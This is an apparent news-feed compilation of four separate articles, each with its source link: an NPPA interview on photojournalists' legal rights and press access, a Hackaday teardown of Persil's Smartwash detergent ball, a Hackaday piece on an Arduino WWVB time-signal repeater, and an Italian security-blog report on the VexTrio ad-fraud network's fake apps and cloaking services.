Additionally, NPPA was instrumental in opposing an Arizona bill that barred anyone recording police from getting closer than 15 feet to an officer without their permission. I drafted several letters to the legislature joined by 30 press organizations cautioning against the unconstitutionality of the proposed law, which was ultimately passed after the measure was amended to an 8-foot distance. I then worked with the American Civil Liberties Union and Arizona Broadcasters Association to obtain a permanent injunction prohibiting enforcement of the law. NPPA has also filed amicus briefs in two other constitutional challenges to similar laws in Indiana and Louisiana.

When the White House restricted the Associated Press’s access over its use of the term ‘Gulf of Mexico’ (a move that NPPA and FPF condemned), it raised concerns about the chilling effects of such retaliation on journalists. If presidents can exclude outlets or photographers from the press pool for editorial decisions, what does that mean for press freedom and the role of visual journalists?

As NPPA stated, such actions by the administration are unacceptable as both an attempt at prior restraint and a blatant retaliation and chilling abridgment of the First Amendment rights of the AP and its journalists.

Unfortunately, we have seen both the federal district court as well as the circuit court hearing the appeal in this case give wide latitude and discretion to the White House as to who it admits to cover certain events. Additional fallout from this has been the White House Correspondents Association losing its long-standing control over the press pool rotation as well as other “disfavored” media outlets being barred from inclusion in the pool.

All these actions taken by the administration are having a chilling effect on press coverage of the government and are eviscerating press freedom. The NPPA continues to work with news and press freedom organizations to advocate and support the right of the public to be informed.

Over the years, NPPA has had to oppose a number of laws that prohibit or limit taking pictures in public places as well as using drones to capture aerial footage. What should journalists do if they’re stopped and told they can’t take pictures or record in public?

Our staunch advocacy has led to the right to photograph and record in traditional public forums being “clearly established” in three-quarters of the U.S. Circuit Courts of Appeal, which is key to successfully bringing civil rights claims against those who try to limit or interfere with those rights.

While NPPA was initially successful in challenging Texas drone regulations, that decision was reversed on appeal. But we have been effective in ensuring that language protecting the First Amendment rights of journalists to use drones for newsgathering be included in government regulations.

NPPA has provided extensive training as to what journalists can do if they’re stopped and told they can’t take pictures or record in public. The foremost advice is to meet with law enforcement on a regular basis to ensure that these rights are honored by police and to discuss how best to improve police-press interactions. While in the field, it is crucial to maintain situational awareness and pay attention to police and crowd movements to avoid being encircled (kettled). Always have an exit strategy, as it is always better to move to a different location than be arrested. If police stop or question you about your activities, make sure to identify yourself as a journalist.

What will journalism lose if NPPA is forced to close its doors?

It would be a significant loss to not only visual journalists but to journalism itself if NPPA were to cease as an organization. For almost 80 years, NPPA has strongly advocated for the rights of visual journalists and now more than ever that unique voice is needed as more journalists are required to report not only with words but images. It also comes at a time when the importance of truthful images could not be greater.

While there are many other organizations supporting the First Amendment and press freedoms, none is more exclusively dedicated to the advancement and protection of visual journalism in its role as a vital public service than the NPPA. Our code of ethics is often cited as exemplary of what visual journalism should strive to achieve. Should our voice be muted, its silence will be deafening.

Donate to NPPA’s programs here to help protect the rights of visual journalists and the public’s right to know.

freedom.press/issues/the-leadi…

How to make doing laundry more smart, depending on your perspective. (Credit: Zerobrain, YouTube)
Ever since the invention of washing machines, the process of doing laundry has become rather straightforward. Simply toss the dirty laundry into the machine, fill up the detergent, and let the preset program handle the rest. This of course has not prevented companies from coming up with ways to add more complexity to doing laundry, with Henkel’s Smartwash technology the latest example, as demonstrated by German YouTube channel [ZeroBrain] with a complete teardown.

Henkel is the owner of detergent brands like Persil and Somat, with the Smartwash ball supposedly offering ‘smart’ dosing of detergent for washing machines, with naturally a smartphone app with intrusive localization to personalize the laundry experience. Sadly the video is only in German, but the language of teardowns is universal.

Before the teardown, the device got tested as intended, with the video showing how to put the detergent with its special pod inside the device. The device then got connected to WiFi, followed by it performing the typical IoT firmware update. After half an hour [Zerobrain] was finally ready to do the laundry. During the washing cycle the 441 gram heavy ball audibly bounced inside the machine, though the rubber outside covering should prevent damage.

The IP68-rated internals are clearly not designed to be easily opened, requiring a certain level of violence to correct for this oversight. Eventually the internals are revealed, showing the inductive charging coil, controls pad and main PCB, along with a pump for the double-chambered detergent pod and a bunch of sensors dangling at the end of flexible PCBs.
The Persil Smartwash fully disassembled. (Credit: Zerobrain, YouTube)
Interestingly, the heart of the main PCB is an ESP32-D0WD-V3, flanked by an ESP-PSRAMH 64 Mbit pseudo-static RAM. For charging the Li-ion cell a TP4056 is used, while a T3168 handles the wireless (Qi) power side of things. As for sensors, there are two Hall effect sensors that seem to be used to measure how much detergent and softener are being excreted by the pump.

What is fascinating is that it uses a single pump to pump both types of fluids independently from each other. There also appears to be a presence sensor to detect the presence of a pod, and some of the other ICs on the PCB may be an IMU to detect motion of the ball, but as hinted at in the accompanying app, you are still supposed to know the hardness of the local water supply and punch in the same details like laundry dirtiness that you’d normally read off the label on the detergent and softener packaging.

Thanks to [Jan Prägert] for the tip.

youtube.com/embed/Ko_5sd8PSFM?…

hackaday.com/2025/08/07/teardo…

For those living in the continental US who, for whatever reason, don’t have access to an NTP server or a GPS device, the next best way to make sure the correct time is known is with the WWVB radio signal. Transmitting out of Colorado, the 60-bit 1 Hz signal reaches all 48 states in the low-frequency band and is a great way to get a clock within a few hundred nanoseconds of the official time. But in high noise situations, particularly on the coasts or in populated areas these radio-based clocks might miss some of the updates. To keep that from happening [Mike] built a repeater for this radio signal.

The repeater works by offloading most of the radio components to an Arduino. The microcontroller listens to the WWVB signal and re-transmits it at a lower power to the immediate area, in this case no further than a few inches away or enough to synchronize a few wristwatches. But it has a much better antenna for listening to WWVB so this eliminates the (admittedly uncommon) problem of [Mike]’s watches not synchronizing at least once per day. WWVB broadcasts a PWM signal which is easy for an Arduino to duplicate, but this one needed help from a DRV8833 amplifier to generate a meaningfully strong radio signal.

Although there have been other similar projects oriented around the WWVB signal, [Mike]’s goal for this was to improve the range of these projects so it could sync more than a single timekeeping device at a time as well as using parts which are more readily available and which have a higher ease of use. We’d say he’s done a pretty good job here, and his build instructions cover almost everything even the most beginner breadboarders would need to know to duplicate it on their own.

hackaday.com/2025/08/07/a-repe…

La complessa infrastruttura della rete pubblicitaria fraudolenta VexTrio Viper è tornata alla ribalta dopo che i ricercatori di Infoblox hanno rivelato i dettagli di un massiccio schema di app mobile false .

Sotto le mentite spoglie di servizi legittimi – dalle VPN alle utility di pulizia della RAM, dai filtri antispam alle app di incontri – i truffatori hanno inserito programmi dannosi negli store ufficiali di Apple e Google. Questi programmi sono stati distribuiti per conto di presunti sviluppatori diversi, tra cui HolaCode, LocoMind, Hugmi, Klover Group e AlphaScale Media. Il numero totale di download ammonta a milioni.

Una volta installate, queste applicazioni costringevano gli utenti ad accettare condizioni poco trasparenti, li inducevano a fornire dati personali, bombardavano il dispositivo con pubblicità aggressive e ne rendevano difficile la disinstallazione. Ad esempio, un’applicazione chiamata Spam Shield Block, mascherata da antispam, richiedeva immediatamente il pagamento e, se l’utente rifiutava, rendeva insopportabile l’utilizzo del dispositivo a causa di inserti pubblicitari . Gli utenti si lamentavano di prezzi di abbonamento inaffidabili, addebiti multipli e l’impossibilità di disinstallazione: azioni chiaramente mirate al prelievo occulto di fondi.

Tuttavia, le app mobili sono solo la punta dell’iceberg. VexTrio gestisce una rete di attività fraudolente, tra cui sistemi di distribuzione del traffico (TDS) che reindirizzano gli utenti da siti hackerati a pagine false. Questi TDS erano camuffati tramite i cosiddetti smartlink, link intelligenti che rivelano l’indirizzo finale solo all’ultimo momento e si adattano alla vittima: alla sua posizione geografica, al tipo di dispositivo e al browser. Questo consente loro di aggirare i filtri e complica l’analisi da parte degli specialisti.

Il traffico diretto a queste trappole viene inizialmente generato attraverso siti WordPress hackerati, contenenti codice dannoso. I truffatori utilizzano questi siti per distribuire annunci pubblicitari falsi, dalle lotterie alle truffe sulle criptovalute.

È interessante notare che l’organizzazione controlla non solo la parte pubblicitaria, ma anche l’intera catena di distribuzione: invio di e-mail, elaborazione dei dati di pagamento e convalida degli indirizzi postali. Ad esempio, il servizio DataSnap verifica la validità delle e-mail e Pay Salsa riscuote i pagamenti. Lo spam e-mail viene inviato tramite domini falsi che sembrano servizi legittimi come SendGrid e MailGun.

Per nascondere i domini finali e aggirare i controlli, viene utilizzato il servizio IMKLO, che filtra il traffico in entrata e determina se mostrare una pagina ingannevole o nasconderla agli occhi dei controllori. Questa messa a punto rende la campagna praticamente impercettibile.

Gli autori del rapporto sottolineano che il successo di tali schemi è garantito non solo dalla sofisticatezza tecnica, ma anche da una zona grigia legale: i truffatori cercano di evitare virus diretti e azioni dannose, rimanendo nell’ambito dell’inganno e dell’ingegneria sociale, dove la responsabilità si verifica meno spesso.

Il problema principale di questa minaccia è la percezione di tali schemi come “meno pericolosi” delle infezioni da malware. Mentre l’attenzione pubblica è focalizzata su trojan ed exploit, le frodi di massa con abbonamenti, carte di credito e dati personali rimangono nell’ombra. Sviluppare la formazione nel campo dell’igiene digitale e riconsiderare l’atteggiamento nei confronti delle truffe “soft” è uno dei compiti chiave nella lotta contro crimini di questo tipo.

L'articolo Hai pagato per mesi una VPN che non ha fatto altro che spiarti proviene da il blog della sicurezza informatica.